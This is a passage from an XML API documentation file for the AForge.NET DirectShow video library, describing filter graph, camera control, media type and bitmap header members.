name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.AddFilter(AForge.Video.DirectShow.Internals.IBaseFilter,System.String)\">\n            <summary>\n            Adds a filter to the graph and gives it a name.\n            </summary>\n            \n            <param name=\"filter\">Filter to add to the graph.</param>\n            <param name=\"name\">Name of the filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.RemoveFilter(AForge.Video.DirectShow.Internals.IBaseFilter)\">\n            <summary>\n            Removes a filter from the graph.\n            </summary>\n            \n            <param name=\"filter\">Filter to be removed from the graph.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.EnumFilters(System.IntPtr@)\">\n            <summary>\n            Provides an enumerator for all filters in the graph.\n            </summary>\n            \n            <param name=\"enumerator\">Filter enumerator.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.FindFilterByName(System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            Finds a filter that was added with a specified name.\n            </summary>\n            \n            <param name=\"name\">Name of filter to search for.</param>\n            <param name=\"filter\">Interface of found filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.ConnectDirect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Connects two pins directly (without intervening filters).\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            <param name=\"pinIn\">Input pin.</param>\n            <param name=\"mediaType\">Media type to use for the connection.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.Reconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Breaks the existing pin connection and reconnects it to the same pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect and reconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.Disconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Disconnects a specified pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph.SetDefaultSyncSource\">\n            <summary>\n            Sets the reference clock to the default clock.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IFileSourceFilter\">\n            <summary>\n            The interface is exposed by source filters to set the file name and media type of the media file that they are to render.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFileSourceFilter.Load(System.String,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Loads the source filter with the file.\n            </summary>\n            \n            <param name=\"fileName\">The name of the file to open.</param>\n            <param name=\"mediaType\">Media type of the file. This can be null.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFileSourceFilter.GetCurFile(System.String@,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Retrieves the current file.\n            </summary>\n            \n            <param name=\"fileName\">Name of media file.</param>\n            <param name=\"mediaType\">Receives media type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IAMVideoControl\">\n            <summary>\n            The interface controls certain video capture operations such as enumerating available\n            frame rates and image orientation.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.GetCaps(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.VideoControlFlags@)\">\n            <summary>\n            Retrieves the capabilities of the underlying hardware.\n            </summary>\n            \n            <param name=\"pin\">Pin to query capabilities from.</param>\n            <param name=\"flags\">Get capabilities of the specified pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.SetMode(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.VideoControlFlags)\">\n            <summary>\n            Sets the video control mode of operation.\n            </summary>\n            \n            <param name=\"pin\">The pin to set the video control mode on.</param>\n            <param name=\"mode\">Value specifying a combination of the flags to set the video control mode.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.GetMode(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.VideoControlFlags@)\">\n            <summary>\n            Retrieves the video control mode of operation.\n            </summary>\n            \n            <param name=\"pin\">The pin to retrieve the video control mode from.</param>\n            <param name=\"mode\">Gets combination of flags, which specify the video control mode.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.GetCurrentActualFrameRate(AForge.Video.DirectShow.Internals.IPin,System.Int64@)\">\n            <summary>\n            The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.\n            USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested\n            because of bandwidth availability. This is only available during video streaming.\n            </summary>\n            \n            <param name=\"pin\">The pin to retrieve the frame rate from.</param>\n            <param name=\"actualFrameRate\">Gets frame rate in frame duration in 100-nanosecond units.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.GetMaxAvailableFrameRate(AForge.Video.DirectShow.Internals.IPin,System.Int32,System.Drawing.Size,System.Int64@)\">\n            <summary>\n            Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections\n            such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth\n            availability.\n            </summary>\n            \n            <param name=\"pin\">The pin to retrieve the maximum frame rate from.</param>\n            <param name=\"index\">Index of the format to query for maximum frame rate. This index corresponds\n            to the order in which formats are enumerated by <see cref=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.GetStreamCaps(System.Int32,AForge.Video.DirectShow.Internals.AMMediaType@,AForge.Video.DirectShow.Internals.VideoStreamConfigCaps)\"/>.</param>\n            <param name=\"dimensions\">Frame image size (width and height) in pixels.</param>\n            <param name=\"maxAvailableFrameRate\">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMVideoControl.GetFrameRateList(AForge.Video.DirectShow.Internals.IPin,System.Int32,System.Drawing.Size,System.Int32@,System.IntPtr@)\">\n            <summary>\n            Retrieves a list of available frame rates.\n            </summary>\n            \n            <param name=\"pin\">The pin to retrieve the maximum frame rate from.</param>\n            <param name=\"index\">Index of the format to query for maximum frame rate. This index corresponds\n            to the order in which formats are enumerated by <see cref=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.GetStreamCaps(System.Int32,AForge.Video.DirectShow.Internals.AMMediaType@,AForge.Video.DirectShow.Internals.VideoStreamConfigCaps)\"/>.</param>\n            <param name=\"dimensions\">Frame image size (width and height) in pixels.</param>\n            <param name=\"listSize\">Number of elements in the list of frame rates.</param>\n            <param name=\"frameRate\">Array of frame rates in 100-nanosecond units.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.FilterCategory\">\n            <summary>\n            DirectShow filter categories.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.FilterCategory.AudioInputDevice\">\n            <summary>\n            Audio input device category.\n            </summary>\n            \n            <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.FilterCategory.VideoInputDevice\">\n            <summary>\n            Video input device category.\n            </summary>\n            \n            <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.FilterCategory.VideoCompressorCategory\">\n            <summary>\n            Video compressor category.\n            </summary>\n            \n            <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.FilterCategory.AudioCompressorCategory\">\n            <summary>\n            Audio compressor category\n            </summary>\n            \n            <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IPersist\">\n            <summary>\n            Provides the CLSID of an object that can be stored persistently in the system. Allows the object to specify which object \n            handler to use in the client process, as it is used in the default implementation of marshaling.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPersist.GetClassID(System.Guid@)\">\n            <summary>\n            Retrieves the class identifier (CLSID) of the object.\n            </summary>\n            <param name=\"pClassID\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IAMCameraControl\">\n            <summary>\n            The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,\n            or shutter speed. To obtain this interface, query the filter that controls the camera.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCameraControl.GetRange(AForge.Video.DirectShow.CameraControlProperty,System.Int32@,System.Int32@,System.Int32@,System.Int32@,AForge.Video.DirectShow.CameraControlFlags@)\">\n            <summary>\n            Gets the range and default value of a specified camera property.\n            </summary>\n            \n            <param name=\"Property\">Specifies the property to query.</param>\n            <param name=\"pMin\">Receives the minimum value of the property.</param>\n            <param name=\"pMax\">Receives the maximum value of the property.</param>\n            <param name=\"pSteppingDelta\">Receives the step size for the property.</param>\n            <param name=\"pDefault\">Receives the default value of the property. </param>\n            <param name=\"pCapsFlags\">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCameraControl.Set(AForge.Video.DirectShow.CameraControlProperty,System.Int32,AForge.Video.DirectShow.CameraControlFlags)\">\n            <summary>\n            Sets a specified property on the camera.\n            </summary>\n            \n            <param name=\"Property\">Specifies the property to set.</param>\n            <param name=\"lValue\">Specifies the new value of the property.</param>\n            <param name=\"Flags\">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCameraControl.Get(AForge.Video.DirectShow.CameraControlProperty,System.Int32@,AForge.Video.DirectShow.CameraControlFlags@)\">\n            <summary>\n            Gets the current setting of a camera property.\n            </summary>\n            \n            <param name=\"Property\">Specifies the property to retrieve.</param>\n            <param name=\"lValue\">Receives the value of the property.</param>\n            <param name=\"Flags\">Receives a member of the CameraControlFlags enumeration.\n            The returned value indicates whether the setting is controlled manually or automatically.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.VideoCapabilities\">\n            <summary>\n            Capabilities of video device such as frame size and frame rate.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoCapabilities.FrameSize\">\n            <summary>\n            Frame size supported by video device.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoCapabilities.AverageFrameRate\">\n            <summary>\n            Average frame rate of video device for corresponding <see cref=\"F:AForge.Video.DirectShow.VideoCapabilities.FrameSize\">frame size</see>.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoCapabilities.MaximumFrameRate\">\n            <summary>\n            Maximum frame rate of video device for corresponding <see cref=\"F:AForge.Video.DirectShow.VideoCapabilities.FrameSize\">frame size</see>.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoCapabilities.BitCount\">\n            <summary>\n            Number of bits per pixel provided by the camera.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCapabilities.Equals(System.Object)\">\n            <summary>\n            Check if the video capability equals to the specified object.\n            </summary>\n            \n            <param name=\"obj\">Object to compare with.</param>\n            \n            <returns>Returns true if both are equal are equal or false otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCapabilities.Equals(AForge.Video.DirectShow.VideoCapabilities)\">\n            <summary>\n            Check if two video capabilities are equal.\n            </summary>\n            \n            <param name=\"vc2\">Second video capability to compare with.</param>\n            \n            <returns>Returns true if both video capabilities are equal or false otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCapabilities.GetHashCode\">\n            <summary>\n            Get hash code of the object.\n            </summary>\n            \n            <returns>Returns hash code ot the object </returns>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCapabilities.op_Equality(AForge.Video.DirectShow.VideoCapabilities,AForge.Video.DirectShow.VideoCapabilities)\">\n            <summary>\n            Equality operator.\n            </summary>\n            \n            <param name=\"a\">First object to check.</param>\n            <param name=\"b\">Seconds object to check.</param>\n            \n            <returns>Return true if both objects are equal or false otherwise.</returns>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCapabilities.op_Inequality(AForge.Video.DirectShow.VideoCapabilities,AForge.Video.DirectShow.VideoCapabilities)\">\n            <summary>\n            Inequality operator.\n            </summary>\n            \n            <param name=\"a\">First object to check.</param>\n            <param name=\"b\">Seconds object to check.</param>\n            \n            <returns>Return true if both objects are not equal or false otherwise.</returns>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCapabilities.FrameRate\">\n            <summary>\n            Frame rate supported by video device for corresponding <see cref=\"F:AForge.Video.DirectShow.VideoCapabilities.FrameSize\">frame size</see>.\n            </summary>\n            \n            <remarks><para><note>This field is depricated - should not be used.\n            Its value equals to <see cref=\"F:AForge.Video.DirectShow.VideoCapabilities.AverageFrameRate\"/>.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.PhysicalConnectorType\">\n            <summary>\n            Specifies the physical type of pin (audio or video).\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.Default\">\n            <summary>\n            Default value of connection type. Physically it does not exist, but just either to specify that\n            connection type should not be changed (input) or was not determined (output).\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoTuner\">\n            <summary>\n            Specifies a tuner pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoComposite\">\n            <summary>\n            Specifies a composite pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoSVideo\">\n            <summary>\n            Specifies an S-Video (Y/C video) pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoRGB\">\n            <summary>\n            Specifies an RGB pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoYRYBY\">\n            <summary>\n            Specifies a YRYBY (Y, R–Y, B–Y) pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoSerialDigital\">\n            <summary>\n            Specifies a serial digital pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoParallelDigital\">\n            <summary>\n            Specifies a parallel digital pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoSCSI\">\n            <summary>\n            Specifies a SCSI (Small Computer System Interface) pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoAUX\">\n            <summary>\n            Specifies an AUX (auxiliary) pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.Video1394\">\n            <summary>\n            Specifies an IEEE 1394 pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoUSB\">\n            <summary>\n            Specifies a USB (Universal Serial Bus) pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoDecoder\">\n            <summary>\n            Specifies a video decoder pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoEncoder\">\n            <summary>\n            Specifies a video encoder pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoSCART\">\n            <summary>\n            Specifies a SCART (Peritel) pin for video.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.VideoBlack\">\n            <summary>\n            Not used.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioTuner\">\n            <summary>\n            Specifies a tuner pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioLine\">\n            <summary>\n            Specifies a line pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioMic\">\n            <summary>\n            Specifies a microphone pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioAESDigital\">\n            <summary>\n            Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioSPDIFDigital\">\n            <summary>\n            Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioSCSI\">\n            <summary>\n            Specifies a SCSI pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioAUX\">\n            <summary>\n            Specifies an AUX pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.Audio1394\">\n            <summary>\n            Specifies an IEEE 1394 pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioUSB\">\n            <summary>\n            Specifies a USB pin for audio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.PhysicalConnectorType.AudioDecoder\">\n            <summary>\n            Specifies an audio decoder pin.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.PinDirection\">\n            <summary>\n            This enumeration indicates a pin's direction.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinDirection.Input\">\n            <summary>\n            Input pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinDirection.Output\">\n            <summary>\n            Output pin.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.AMMediaType\">\n            <summary>\n            The structure describes the format of a media sample.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.MajorType\">\n            <summary>\n            Globally unique identifier (GUID) that specifies the major type of the media sample.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.SubType\">\n            <summary>\n            GUID that specifies the subtype of the media sample.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.FixedSizeSamples\">\n            <summary>\n            If <b>true</b>, samples are of a fixed size.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.TemporalCompression\">\n            <summary>\n            If <b>true</b>, samples are compressed using temporal (interframe) compression.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.SampleSize\">\n            <summary>\n            Size of the sample in bytes. For compressed data, the value can be zero.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.FormatType\">\n            <summary>\n            GUID that specifies the structure used for the format block.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.unkPtr\">\n            <summary>\n            Not used.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.FormatSize\">\n            <summary>\n            Size of the format block, in bytes.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.AMMediaType.FormatPtr\">\n            <summary>\n            Pointer to the format block.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.AMMediaType.Finalize\">\n            <summary>\n            Destroys the instance of the <see cref=\"T:AForge.Video.DirectShow.Internals.AMMediaType\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.AMMediaType.Dispose\">\n             <summary>\n             Dispose the object.\n             </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.AMMediaType.Dispose(System.Boolean)\">\n            <summary>\n            Dispose the object\n            </summary>\n            \n            <param name=\"disposing\">Indicates if disposing was initiated manually.</param>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.PinInfo\">\n            <summary>\n            The structure contains information about a pin.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinInfo.Filter\">\n            <summary>\n            Owning filter.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinInfo.Direction\">\n            <summary>\n            Direction of the pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinInfo.Name\">\n            <summary>\n            Name of the pin.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FilterInfo.Name\">\n            <summary>\n            Filter's name.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FilterInfo.FilterGraph\">\n            <summary>\n            Owning graph.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.VideoInfoHeader\">\n            <summary>\n            The structure describes the bitmap and color information for a video image.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.SrcRect\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.RECT\"/> structure that specifies the source video window.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.TargetRect\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.RECT\"/> structure that specifies the destination video window.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.BitRate\">\n            <summary>\n            Approximate data rate of the video stream, in bits per second.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.BitErrorRate\">\n            <summary>\n            Data error rate, in bit errors per second.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.AverageTimePerFrame\">\n            <summary>\n            The desired average display time of the video frames, in 100-nanosecond units.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader.BmiHeader\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.BitmapInfoHeader\"/> structure that contains color and dimension information for the video image bitmap.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.VideoInfoHeader2\">\n            <summary>\n            The structure describes the bitmap and color information for a video image (v2).\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.SrcRect\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.RECT\"/> structure that specifies the source video window.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.TargetRect\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.RECT\"/> structure that specifies the destination video window.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.BitRate\">\n            <summary>\n            Approximate data rate of the video stream, in bits per second.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.BitErrorRate\">\n            <summary>\n            Data error rate, in bit errors per second.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.AverageTimePerFrame\">\n            <summary>\n            The desired average display time of the video frames, in 100-nanosecond units.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.InterlaceFlags\">\n            <summary>\n            Flags that specify how the video is interlaced.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.CopyProtectFlags\">\n            <summary>\n            Flag set to indicate that the duplication of the stream should be restricted.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.PictAspectRatioX\">\n            <summary>\n            The X dimension of picture aspect ratio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.PictAspectRatioY\">\n            <summary>\n            The Y dimension of picture aspect ratio.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.Reserved1\">\n            <summary>\n            Reserved for future use.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.Reserved2\">\n            <summary>\n            Reserved for future use. \n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.VideoInfoHeader2.BmiHeader\">\n            <summary>\n            <see cref=\"T:AForge.Video.DirectShow.Internals.BitmapInfoHeader\"/> structure that contains color and dimension information for the video image bitmap.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.BitmapInfoHeader\">\n            <summary>\n            The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.Size\">\n            <summary>\n            Specifies the number of bytes required by the structure.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.Width\">\n            <summary>\n            Specifies the width of the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.Height\">\n            <summary>\n            Specifies the height of the bitmap, in pixels.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.Planes\">\n            <summary>\n            Specifies the number of planes for the target device. This value must be set to 1.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.BitCount\">\n            <summary>\n            Specifies the number of bits per pixel.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.Compression\">\n            <summary>\n            If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.ImageSize\">\n            <summary>\n            Specifies the size, in bytes, of the image.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.XPelsPerMeter\">\n            <summary>\n            Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.YPelsPerMeter\">\n            <summary>\n            Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.ColorsUsed\">\n            <summary>\n            Specifies the number of color indices in the color table that are actually used by the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.BitmapInfoHeader.ColorsImportant\">\n            <summary>\n            Specifies the number of color indices that are considered important for displaying the bitmap.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.RECT\">\n            <summary>\n            The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.RECT.Left\">\n            <summary>\n            Specifies the x-coordinate of the upper-left corner of the rectangle.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.RECT.Top\">\n            <summary>\n            Specifies the y-coordinate of the upper-left corner of the rectangle. \n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.RECT.Right\">\n            <summary>\n            Specifies the x-coordinate of the lower-right corner of the rectangle.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.RECT.Bottom\">\n            <summary>\n            Specifies the y-coordinate of the lower-right corner of the rectangle.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.CAUUID\">\n            <summary>\n            The CAUUID structure is a Counted Array of UUID or GUID types.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.CAUUID.cElems\">\n            <summary>\n            Size of the array pointed to by <b>pElems</b>.\n            </summary>\n        </member>\n        <member 